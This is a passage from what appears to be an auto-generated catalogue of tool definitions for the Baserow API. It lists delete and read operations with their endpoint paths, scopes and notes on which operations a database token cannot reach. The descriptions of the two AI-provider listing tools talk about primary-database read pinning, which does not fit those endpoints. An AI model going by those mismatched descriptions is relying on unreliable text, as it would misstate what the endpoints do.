DELETE /api/v1/baserow/api/automation/node/{node_id}/. Scopes: api. baserow_delete_api_automation_workflows_by_workflow_id (write, destructive) — Delete automation workflow Deletes an existing workflow of an automation. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/automation/workflows/{workflow_id}/ DELETE /api/v1/baserow/api/automation/workflows/{workflow_id}/. Scopes: api. baserow_delete_api_builder_data_source_by_data_source_id (write, destructive) — Delete builder page data source Deletes the data_source related by the given id. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/builder/data-source/{data_source_id}/ DELETE /api/v1/baserow/api/builder/data-source/{data_source_id}/. Scopes: api. baserow_delete_api_builder_domains_by_domain_id (write, destructive) — Delete builder domain Deletes an existing domain of an application builder NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/builder/domains/{domain_id}/ DELETE /api/v1/baserow/api/builder/domains/{domain_id}/. Scopes: api. baserow_delete_api_builder_element_by_element_id (write, destructive) — Delete builder page element Deletes the element related by the given id. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/builder/element/{element_id}/ DELETE /api/v1/baserow/api/builder/element/{element_id}/. Scopes: api. baserow_delete_api_builder_pages_by_page_id (write, destructive) — Delete builder page Deletes an existing page of an application builder NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/builder/pages/{page_id}/ DELETE /api/v1/baserow/api/builder/pages/{page_id}/. Scopes: api. baserow_delete_api_builder_workflow_action_by_workflow_action_id (write, destructive) — Delete builder page workflow action Deletes the workflow action related by the given id. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/builder/workflow_action/{workflow_action_id}/ DELETE /api/v1/baserow/api/builder/workflow_action/{workflow_action_id}/. Scopes: api. baserow_delete_api_dashboard_widgets_by_widget_id (write, destructive) — Delete dashboard widget Deletes the widget related to the given id. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/dashboard/widgets/{widget_id}/ DELETE /api/v1/baserow/api/dashboard/widgets/{widget_id}/. Scopes: api. baserow_delete_api_database_field_rules_by_table_id_rule_by_rule_id (write, destructive) — Delete field rule Delete a field rule. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/field-rules/{table_id}/rule/{rule_id}/ DELETE /api/v1/baserow/api/database/field-rules/{table_id}/rule/{rule_id}/. Scopes: api. baserow_delete_api_database_fields_by_field_id (write, destructive) — Delete database table field Deletes the existing field if the authorized user has access to the related database's workspace. Note that all the related data to that field is also deleted. Primary fields cannot be deleted because their value represents the row. If deleting the field causes other fields to change then the specificinstances of those fields will be included in the related fields response key. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/fields/{field_id}/ DELETE /api/v1/baserow/api/database/fields/{field_id}/. Scopes: api. baserow_delete_api_database_rows_table_by_table_id_by_row_id (write, destructive) — Delete database table row Deletes an existing row in the table if the user has access to the table's workspace. DELETE /api/database/rows/table/{table_id}/{row_id}/ DELETE /api/v1/baserow/api/database/rows/table/{table_id}/{row_id}/. Scopes: delete. baserow_delete_api_database_tables_by_table_id (write, destructive) — Delete database table Deletes the existing table if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/tables/{table_id}/ DELETE /api/v1/baserow/api/database/tables/{table_id}/. Scopes: api. baserow_delete_api_database_tokens_by_token_id (write, destructive) — Delete database token Deletes the existing database token if it is owned by the authorized user and ifthe user has access to the related workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/tokens/{token_id}/ DELETE /api/v1/baserow/api/database/tokens/{token_id}/. Scopes: api. baserow_delete_api_database_views_by_view_id (write, destructive) — Delete database table view Deletes the existing view. Note that all the related settings of the view are going to be deleted also. The data stays intact after deleting the view because this is related to the table and not the view. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/views/{view_id}/ DELETE /api/v1/baserow/api/database/views/{view_id}/. Scopes: api. baserow_delete_api_database_views_decoration_by_view_decoration_id (write, destructive) — Delete database table view decoration Deletes the existing decoration if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/views/decoration/{view_decoration_id}/ DELETE /api/v1/baserow/api/database/views/decoration/{view_decoration_id}/. Scopes: api. baserow_delete_api_database_views_filter_by_view_filter_id (write, destructive) — Delete database table view filter Deletes the existing filter if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/views/filter/{view_filter_id}/ DELETE /api/v1/baserow/api/database/views/filter/{view_filter_id}/. Scopes: api. baserow_delete_api_database_views_filter_group_by_view_filter_group_id (write, destructive) — Delete database table view filter group Deletes the existing filter group with the given `view_filter_group_id`. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/views/filter-group/{view_filter_group_id}/ DELETE /api/v1/baserow/api/database/views/filter-group/{view_filter_group_id}/. Scopes: api. baserow_delete_api_database_views_group_by_by_view_group_by_id (write, destructive) — Delete database table view group Deletes the existing group by if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/views/group_by/{view_group_by_id}/ DELETE /api/v1/baserow/api/database/views/group_by/{view_group_by_id}/. Scopes: api. baserow_delete_api_database_views_sort_by_view_sort_id (write, destructive) — Delete database table view sort Deletes the existing sort if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/views/sort/{view_sort_id}/ DELETE /api/v1/baserow/api/database/views/sort/{view_sort_id}/. Scopes: api. baserow_delete_api_database_webhooks_by_webhook_id (write, destructive) — Delete database table webhook Deletes the existing webhook if the authorized user has access to the related database's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/webhooks/{webhook_id}/ DELETE /api/v1/baserow/api/database/webhooks/{webhook_id}/. Scopes: api. baserow_delete_api_database_workflow_action_by_workflow_action_id (write, destructive) — Delete database field workflow action Deletes the workflow action related by the given id. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/database/workflow_action/{workflow_action_id}/ DELETE /api/v1/baserow/api/database/workflow_action/{workflow_action_id}/. Scopes: api. baserow_delete_api_integration_by_integration_id (write, destructive) — Delete application integration Deletes the integration related by the given id. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/integration/{integration_id}/ DELETE /api/v1/baserow/api/integration/{integration_id}/. Scopes: api. baserow_delete_api_licenses_by_id (write, destructive) — Admin remove license Removes the existing license related to the provided parameter. If the license is active, then all the users that are using the license will lose access to the features granted by that license. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/licenses/{id}/ DELETE /api/v1/baserow/api/licenses/{id}/. Scopes: api. baserow_delete_api_licenses_by_id_by_user_id (write, destructive) — Admin remove user from license Removes the user related to the provided parameter and to the license related to the parameter. This only happens if the user is on the license, otherwise nothing will happen. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/licenses/{id}/{user_id}/ DELETE /api/v1/baserow/api/licenses/{id}/{user_id}/. Scopes: api. baserow_delete_api_mcp_endpoint_by_endpoint_id (write, destructive) — Delete mcp endpoint Deletes an MCP endpoint if the authorized user has access to it. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/mcp/endpoint/{endpoint_id}/ DELETE /api/v1/baserow/api/mcp/endpoint/{endpoint_id}/. Scopes: api. baserow_delete_api_notifications_by_workspace_id (write, destructive) — Clear workspace notifications Clear all the notifications for the given workspace and user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/notifications/{workspace_id}/ DELETE /api/v1/baserow/api/notifications/{workspace_id}/. Scopes: api. baserow_delete_api_row_comments_by_table_id_comment_by_comment_id (write, destructive) — Delete row comment Delete a row comment. This is a **premium** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/row_comments/{table_id}/comment/{comment_id}/ DELETE /api/v1/baserow/api/row_comments/{table_id}/comment/{comment_id}/. Scopes: api. baserow_delete_api_snapshots_by_snapshot_id (write, destructive) — Delete snapshot Deletes a snapshot. Deleting a snapshot doesn't affect the application that the snapshot is made from and doesn't affect any applications that were created by restoring it. Snapshot deletion is permanent and can't be undone. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/snapshots/{snapshot_id}/ DELETE /api/v1/baserow/api/snapshots/{snapshot_id}/. Scopes: api. baserow_delete_api_teams_by_team_id (write, destructive) — Delete team Deletes a team if the authorized user is in the team's workspace. All the related children (e.g. subjects) are also going to be deleted. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/teams/{team_id}/ DELETE /api/v1/baserow/api/teams/{team_id}/. Scopes: api. baserow_delete_api_teams_by_team_id_subjects_by_subject_id (write, destructive) — Delete subject Deletes a subject if the authorized user is in the team's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/teams/{team_id}/subjects/{subject_id}/ DELETE /api/v1/baserow/api/teams/{team_id}/subjects/{subject_id}/. Scopes: api. baserow_delete_api_trash_workspace_by_workspace_id (write, destructive) — Workspace empty contents Empties the specified workspace and/or application of trash, including the workspace and application themselves if they are trashed also. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/trash/workspace/{workspace_id}/ DELETE /api/v1/baserow/api/trash/workspace/{workspace_id}/. Scopes: api. baserow_delete_api_user_source_by_user_source_id (write, destructive) — Delete application user source Deletes the user_source related by the given id. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/user-source/{user_source_id}/ DELETE /api/v1/baserow/api/user-source/{user_source_id}/. Scopes: api. baserow_delete_api_webhooks_by_webhook_uid (write, destructive) — Handle core webhook request delete Receives and handles a webhook request. DELETE /api/webhooks/{webhook_uid}/ DELETE /api/v1/baserow/api/webhooks/{webhook_uid}/. Scopes: api. baserow_delete_api_workspaces_by_workspace_id (write, destructive) — Delete workspace Deletes an existing workspace if the authorized user belongs to the workspace. All the applications, databases, tables etc that were in the workspace are going to be deleted also. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/workspaces/{workspace_id}/ DELETE /api/v1/baserow/api/workspaces/{workspace_id}/. Scopes: api. baserow_delete_api_workspaces_by_workspace_id_import_by_resource_id (write, destructive) — Import export resource Delete a resource. This endpoint mark as ready for deletion the specified resource. This operation is not undoable. The user must be the owner of the resource to perform this action. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/workspaces/{workspace_id}/import/{resource_id}/ DELETE /api/v1/baserow/api/workspaces/{workspace_id}/import/{resource_id}/. Scopes: api. baserow_delete_api_workspaces_invitations_by_workspace_invitation_id (write, destructive) — Delete workspace invitation Deletes a workspace invitation if the authorized user has admin rights to the related workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/workspaces/invitations/{workspace_invitation_id}/ DELETE /api/v1/baserow/api/workspaces/invitations/{workspace_invitation_id}/. Scopes: api. baserow_delete_api_workspaces_users_by_workspace_user_id (write, destructive) — Delete workspace user Deletes a workspace user if the authorized user has admin rights to the related workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /api/workspaces/users/{workspace_user_id}/ DELETE /api/v1/baserow/api/workspaces/users/{workspace_user_id}/. Scopes: api. baserow_delete_assistant_chat_by_chat_uuid_cancel (write, destructive) — Cancel assistant message (DELETE /assistant/chat/{chat_uuid}/cancel/) Cancel an ongoing assistant message generation in the specified chat. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /assistant/chat/{chat_uuid}/cancel/ DELETE /api/v1/baserow/assistant/chat/{chat_uuid}/cancel/. Scopes: api. baserow_delete_assistant_chat_by_chat_uuid_messages (write, destructive) — Cancel assistant message (DELETE /assistant/chat/{chat_uuid}/messages/) Cancel an ongoing assistant message generation in the specified chat. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. DELETE /assistant/chat/{chat_uuid}/messages/ DELETE /api/v1/baserow/assistant/chat/{chat_uuid}/messages/. Scopes: api. baserow_get_api_admin_audit_log (read) — Audit log list (GET /api/admin/audit-log/) Lists all audit log entries for the given workspace id. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/audit-log/ GET /api/v1/baserow/api/admin/audit-log/. Scopes: api. baserow_get_api_admin_audit_log_action_types (read) — Audit log action types (GET /api/admin/audit-log/action-types/) List all distinct action types related to an audit log entry. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/audit-log/action-types/ GET /api/v1/baserow/api/admin/audit-log/action-types/. Scopes: api. baserow_get_api_admin_audit_log_users (read) — Audit log users (GET /api/admin/audit-log/users/) List all users that have performed an action in the audit log. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/audit-log/users/ GET /api/v1/baserow/api/admin/audit-log/users/. Scopes: api. baserow_get_api_admin_auth_provider (read) — List auth providers List all the available authentication providers. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/auth-provider/ GET /api/v1/baserow/api/admin/auth-provider/. Scopes: api. baserow_get_api_admin_auth_provider_by_auth_provider_id (read) — Get auth provider Get an authentication provider. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/auth-provider/{auth_provider_id}/ GET /api/v1/baserow/api/admin/auth-provider/{auth_provider_id}/. Scopes: api. baserow_get_api_admin_dashboard (read) — Admin dashboard Returns the new and active users for the last 24 hours, 7 days and 30 days. The `previous_` values are the values of the period before, so for example `previous_new_users_last_24_hours` are the new users that signed up from 48 to 24 hours ago. It can be used to calculate an increase or decrease in the amount of signups. A list of the new and active users for every day for the last 30 days is also included. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/dashboard/ GET /api/v1/baserow/api/admin/dashboard/. Scopes: api. baserow_get_api_admin_data_scanner_results (read) — Admin data scanner list results Lists all data scan results across all scans. Results represent individual matches found in database fields during scan execution. Can be filtered by scan_id and searched by matched value. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/data-scanner/results/ GET /api/v1/baserow/api/admin/data-scanner/results/. Scopes: api. baserow_get_api_admin_data_scanner_scans (read) — Admin data scanner list scans Lists all data scans configured for this Baserow instance. Data scans allow administrators to search the entire instance for sensitive data matching a pattern, a list of uploaded values, or values from another Baserow table. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/data-scanner/scans/ GET /api/v1/baserow/api/admin/data-scanner/scans/. Scopes: api. baserow_get_api_admin_data_scanner_scans_by_scan_id (read) — Admin data scanner get scan Returns a single data scan configuration. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/data-scanner/scans/{scan_id}/ GET /api/v1/baserow/api/admin/data-scanner/scans/{scan_id}/. Scopes: api. baserow_get_api_admin_data_scanner_workspace_structure_by_workspace_id (read) — Admin data scanner workspace structure Returns the database/table/field structure of a workspace for use in data scan configuration. Only text-compatible fields are included. **Enterprise feature.** NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/data-scanner/workspace-structure/{workspace_id}/ GET /api/v1/baserow/api/admin/data-scanner/workspace-structure/{workspace_id}/. Scopes: api. baserow_get_api_admin_users (read) — Admin list users Returns all users with detailed information on each user, if the requesting user is staff. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/users/ GET /api/v1/baserow/api/admin/users/. Scopes: api. baserow_get_api_admin_workspaces (read) — Admin list workspaces Returns all workspaces with detailed information on each workspace, if the requesting user is staff. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/workspaces/ GET /api/v1/baserow/api/admin/workspaces/. Scopes: api. baserow_get_api_admin_workspaces_options (read) — Admin list workspaces as options Lists all workspaces. This endpoint is intended for admin-level features that need a workspace dropdown. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/admin/workspaces/options/ GET /api/v1/baserow/api/admin/workspaces/options/. Scopes: api. baserow_get_api_ai_providers (read) — List ai providers Pins authenticated realtime recovery reads to the primary database. Realtime refresh markers are emitted after a primary-database snapshot. Reading their replacement data from a lagging replica could otherwise restore stale state in the client. Authentication is deliberately completed before honoring the header so anonymous callers cannot opt arbitrary public reads into primary traffic. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/ai-providers/ GET /api/v1/baserow/api/ai-providers/. Scopes: api. baserow_get_api_ai_providers_features (read) — List ai provider feature settings Pins authenticated realtime recovery reads to the primary database. Realtime refresh markers are emitted after a primary-database snapshot. Reading their replacement data from a lagging replica could otherwise restore stale state in the client. Authentication is deliberately completed before honoring the header so anonymous callers cannot opt arbitrary public reads into primary traffic. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/ai-providers/features/ GET /api/v1/baserow/api/ai-providers/features/. Scopes: api. baserow_get_api_ai_providers_models_discover (read) — Discover ai provider models NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/ai-providers/models/discover/ GET /api/v1/baserow/api/ai-providers/models/discover/. Scopes: api. baserow_get_api_ai_providers_types (read) — List ai provider types NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/ai-providers/types/ GET /api/v1/baserow/api/ai-providers/types/. Scopes: api. baserow_get_api_application_by_application_id_integrations (read) — List application integrations Lists all the integrations of the application related to the provided parameter if the user has access to the related application's workspace. If the workspace is related to a template, then this endpoint will be publicly accessible. GET /api/application/{application_id}/integrations/ GET /api/v1/baserow/api/application/{application_id}/integrations/. Scopes: api. baserow_get_api_application_by_application_id_list_user_source_users (read) — List application user source users List per user sources the first 5 users available. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/application/{application_id}/list-user-source-users/ GET /api/v1/baserow/api/application/{application_id}/list-user-source-users/. Scopes: api. baserow_get_api_application_by_application_id_user_sources (read) — List application user sources Lists all the user_sources of the application related to the provided parameter if the user has access to the related application's workspace. If the workspace is related to a template, then this endpoint will be publicly accessible. GET /api/application/{application_id}/user-sources/ GET /api/v1/baserow/api/application/{application_id}/user-sources/. Scopes: api. baserow_get_api_application_by_application_id_user_sources_roles (read) — List application user source roles Lists all the roles of the application related to the provided parameter if the user has access to the related application's workspace. If the workspace is related to a template, then this endpoint will be publicly accessible. GET /api/application/{application_id}/user-sources/roles/ GET /api/v1/baserow/api/application/{application_id}/user-sources/roles/. Scopes: api. baserow_get_api_applications (read) — List all applications Lists all the applications that the user has access to. The properties that belong to the application can differ per type. An application always belongs to a single workspace. All the applications of the workspaces that the user has access to are going to be listed here. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/applications/ GET /api/v1/baserow/api/applications/. Scopes: api. baserow_get_api_applications_by_application_id (read) — Workspace get application Returns the requested application if the authorized user is in the application's workspace. The properties that belong to the application can differ per type. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/applications/{application_id}/ GET /api/v1/baserow/api/applications/{application_id}/. Scopes: api. baserow_get_api_applications_workspace_by_workspace_id (read) — Workspace list applications Lists all the applications of the workspace related to the provided `workspace_id` parameter if the authorized user is in that workspace. If theworkspace is related to a template, then this endpoint will be publicly accessible. The properties that belong to the application can differ per type. An application always belongs to a single workspace. GET /api/applications/workspace/{workspace_id}/ GET /api/v1/baserow/api/applications/workspace/{workspace_id}/. Scopes: api. baserow_get_api_audit_log (read) — Audit log list (GET /api/audit-log/) Lists all audit log entries for the given workspace id. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/audit-log/ GET /api/v1/baserow/api/audit-log/. Scopes: api. baserow_get_api_audit_log_action_types (read) — Audit log action types (GET /api/audit-log/action-types/) List all distinct action types related to an audit log entry. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/audit-log/action-types/ GET /api/v1/baserow/api/audit-log/action-types/. Scopes: api. baserow_get_api_audit_log_users (read) — Audit log users (GET /api/audit-log/users/) List all users that have performed an action in the audit log. This is a **enterprise** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/audit-log/users/ GET /api/v1/baserow/api/audit-log/users/. Scopes: api. baserow_get_api_auth_provider_login_options (read) — List auth providers login options Lists the available login options for the configured authentication providers. GET /api/auth-provider/login-options/ GET /api/v1/baserow/api/auth-provider/login-options/. Scopes: api. baserow_get_api_automation_node_histories_by_node_history_id_result (read) — Get automation node result Returns the node history's result JSON. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/automation/node_histories/{node_history_id}/result/ GET /api/v1/baserow/api/automation/node_histories/{node_history_id}/result/. Scopes: api. baserow_get_api_automation_workflow_by_workflow_id_nodes (read) — List nodes Lists all the nodes of the workflow related to the provided parameter if the user has access to the related automation's workspace. If the workspace is related to a template, then this endpoint will be publicly accessible. GET /api/automation/workflow/{workflow_id}/nodes/ GET /api/v1/baserow/api/automation/workflow/{workflow_id}/nodes/. Scopes: api. baserow_get_api_automation_workflow_histories_by_workflow_history_id_node_histories (read) — Get automation node histories Returns all node histories for the given workflow history. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/automation/workflow_histories/{workflow_history_id}/node_histories/ GET /api/v1/baserow/api/automation/workflow_histories/{workflow_history_id}/node_histories/. Scopes: api. baserow_get_api_automation_workflows_by_workflow_id (read) — Get automation workflow Retrieve a single workflow of an automation. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/automation/workflows/{workflow_id}/ GET /api/v1/baserow/api/automation/workflows/{workflow_id}/. Scopes: api. baserow_get_api_automation_workflows_by_workflow_id_history (read) — Get automation workflow history Retrieve the history for a workflow. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/automation/workflows/{workflow_id}/history/ GET /api/v1/baserow/api/automation/workflows/{workflow_id}/history/. Scopes: api. baserow_get_api_builder_by_builder_id_domains (read) — Get builder domains Gets all the domains of a builder NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/builder/{builder_id}/domains/ GET /api/v1/baserow/api/builder/{builder_id}/domains/. Scopes: api. baserow_get_api_builder_data_source_by_data_source_id_record_names (read) — Get record names builder page data source Find the record names associated with a given list of record ids. GET /api/builder/data-source/{data_source_id}/record-names/ GET /api/v1/baserow/api/builder/data-source/{data_source_id}/record-names/. Scopes: api. baserow_get_api_builder_domains_ask_public_domain_exists (read) — Ask public builder domain exists This endpoint can be used to check whether a domain exists for SSL certificate purposes. It's compatible with the Caddy on_demand TLS as described here: https://caddyserver.com/docs/json/apps/tls/automation/on_demand/ask/. It will respond with a 200 status code if it exists or a 404 if it doesn't exist. GET /api/builder/domains/ask-public-domain-exists/ GET /api/v1/baserow/api/builder/domains/ask-public-domain-exists/. Scopes: api. baserow_get_api_builder_domains_published_by_id_by_builder_id (read) — Get public builder by id Returns the public serialized version of the builder and its pages for the given builder id. GET /api/builder/domains/published/by_id/{builder_id}/ GET /api/v1/baserow/api/builder/domains/published/by_id/{builder_id}/. Scopes: api. baserow_get_api_builder_domains_published_by_name_by_domain_name (read) — Get public builder by domain name Returns the public serialized version of the builder for the given domain name and its pages . GET /api/builder/domains/published/by_name/{domain_name}/ GET /api/v1/baserow/api/builder/domains/published/by_name/{domain_name}/. Scopes: api. baserow_get_api_builder_domains_published_page_by_page_id_data_sources (read) — List public builder page data sources Lists all the data_sources of the page related to the provided parameter if the builder is public. GET /api/builder/domains/published/page/{page_id}/data_sources/ GET /api/v1/baserow/api/builder/domains/published/page/{page_id}/data_sources/. Scopes: api. baserow_get_api_builder_domains_published_page_by_page_id_elements (read) — List public builder page elements Lists all the elements of the page related to the provided parameter. If the user is Anonymous, the page must belong to a published builder instance to being accessible. GET /api/builder/domains/published/page/{page_id}/elements/ GET /api/v1/baserow/api/builder/domains/published/page/{page_id}/elements/. Scopes: api. baserow_get_api_builder_domains_published_page_by_page_id_workflow_actions (read) — List public builder page workflow actions Lists all the workflow actions with their public accessible data. Some configuration might be omitted for security reasons such as passwords or PII. GET /api/builder/domains/published/page/{page_id}/workflow_actions/ GET /api/v1/baserow/api/builder/domains/published/page/{page_id}/workflow_actions/. Scopes: api. baserow_get_api_builder_page_by_page_id_data_sources (read) — List builder page data sources Lists all the data_sources of the page related to the provided parameter if the user has access to the related builder's workspace. If the workspace is related to a template, then this endpoint will be publicly accessible. GET /api/builder/page/{page_id}/data-sources/ GET /api/v1/baserow/api/builder/page/{page_id}/data-sources/. Scopes: api. baserow_get_api_builder_page_by_page_id_elements (read) — List builder page elements Lists all the elements of the page related to the provided parameter if the user has access to the related builder's workspace. If the workspace is related to a template, then this endpoint will be publicly accessible. GET /api/builder/page/{page_id}/elements/ GET /api/v1/baserow/api/builder/page/{page_id}/elements/. Scopes: api. baserow_get_api_builder_page_by_page_id_workflow_actions (read) — List builder page workflow actions Lists all the workflow actions of the page related to the provided parameter if the user has access to the related builder's workspace. If the workspace is related to a template, then this endpoint will be publicly accessible. GET /api/builder/page/{page_id}/workflow_actions/ GET /api/v1/baserow/api/builder/page/{page_id}/workflow_actions/. Scopes: api. baserow_get_api_builder_preview_by_builder_id_custom_code_css (read) — Get public builder custom code (GET /api/builder/preview/{builder_id}/custom-code/css/) Returns the css/js for the given builder. GET /api/builder/preview/{builder_id}/custom-code/css/ GET /api/v1/baserow/api/builder/preview/{builder_id}/custom-code/css/. Scopes: api. baserow_get_api_builder_preview_by_builder_id_custom_code_js (read) — Get public builder custom code (GET /api/builder/preview/{builder_id}/custom-code/js/) Returns the css/js for the given builder. GET /api/builder/preview/{builder_id}/custom-code/js/ GET /api/v1/baserow/api/builder/preview/{builder_id}/custom-code/js/. Scopes: api. baserow_get_api_builder_preview_exchange_by_token (read) — Exchange builder preview grant Consume the preview pass, set a session cookie, and redirect the browser. Invalid or expired tokens return ``404`` without creating a cookie. The requested redirect is accepted only when it points to the configured preview website; otherwise a safe preview root URL is used. Cookie security flags are selected according to whether the backend and preview website are considered the same browser site. GET /api/builder/preview/exchange/{token}/ GET /api/v1/baserow/api/builder/preview/exchange/{token}/. Scopes: api. baserow_get_api_custom_code_by_builder_id_css_public (read) — Get public builder custom code 3 Returns the css/js for the given builder. GET /api/custom_code/{builder_id}/css/public/ GET /api/v1/baserow/api/custom_code/{builder_id}/css/public/. Scopes: api. baserow_get_api_custom_code_by_builder_id_js_public (read) — Get public builder custom code 4 Returns the css/js for the given builder. GET /api/custom_code/{builder_id}/js/public/ GET /api/v1/baserow/api/custom_code/{builder_id}/js/public/. Scopes: api. baserow_get_api_dashboard_by_dashboard_id_data_sources (read) — List dashboard data sources Lists all the data sources of the dashboard if the user has access to the related dashboard's workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET /api/dashboard/{dashboard_id}/data-sources/ GET /api/v1/baserow/api/dashboard/{dashboard_id}/data-sources/. Scopes: api. baserow_get_api_dashboard_by_dashboard_id_widgets (read) — List dashboard widgets Lists all the widgets of the dashboard related to the provided parameter if the user has access to the related workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. GET 